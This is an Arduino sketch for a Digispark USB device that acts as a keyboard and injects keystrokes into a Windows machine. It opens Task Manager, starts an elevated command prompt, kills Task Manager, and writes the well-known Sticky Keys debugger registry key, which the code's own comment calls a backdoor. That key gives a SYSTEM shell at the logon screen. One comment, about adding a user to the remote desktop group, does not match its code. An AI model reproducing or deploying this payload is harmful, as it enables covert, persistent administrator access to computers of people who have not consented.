#include "DigiKeyboard.h"
#define KEY_TAB 0x2b
void setup() {
  pinMode(1, OUTPUT); //LED on Model A 
}

void loop() {
   
  DigiKeyboard.update();
  DigiKeyboard.sendKeyStroke(0);
  DigiKeyboard.delay(3000);
 
  DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); //run
  DigiKeyboard.delay(200);
  DigiKeyboard.println("taskmgr"); //starting taskmgr
  DigiKeyboard.delay(1000);
  DigiKeyboard.sendKeyStroke(KEY_F, MOD_ALT_LEFT); 
  DigiKeyboard.sendKeyStroke(KEY_N);//run
  DigiKeyboard.delay(1000);
  DigiKeyboard.print("cmd /k mode con: cols=15 lines=1");//start cmd
  DigiKeyboard.sendKeyStroke(KEY_TAB); 
  DigiKeyboard.sendKeyStroke(KEY_SPACE);//turn on admin privileges
  DigiKeyboard.sendKeyStroke(KEY_ENTER); //run
  DigiKeyboard.delay(500);
  DigiKeyboard.println("taskkill /IM \"taskmgr.exe\" /F ");//killing taskmanager
  DigiKeyboard.delay(500);    
  DigiKeyboard.println(F("REG ADD \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\sethc.exe\" /v Debugger /t REG_SZ /d \"C:\\windows\\system32\\cmd.exe\""));//adding backdoor
  DigiKeyboard.delay(500);
  DigiKeyboard.println("exit");//adding created user to remote desktop group
  DigiKeyboard.delay(500);
  digitalWrite(1, HIGH); //turn on led when program finishes
  DigiKeyboard.delay(90000);
  digitalWrite(1, LOW); 
  DigiKeyboard.delay(5000);
  
}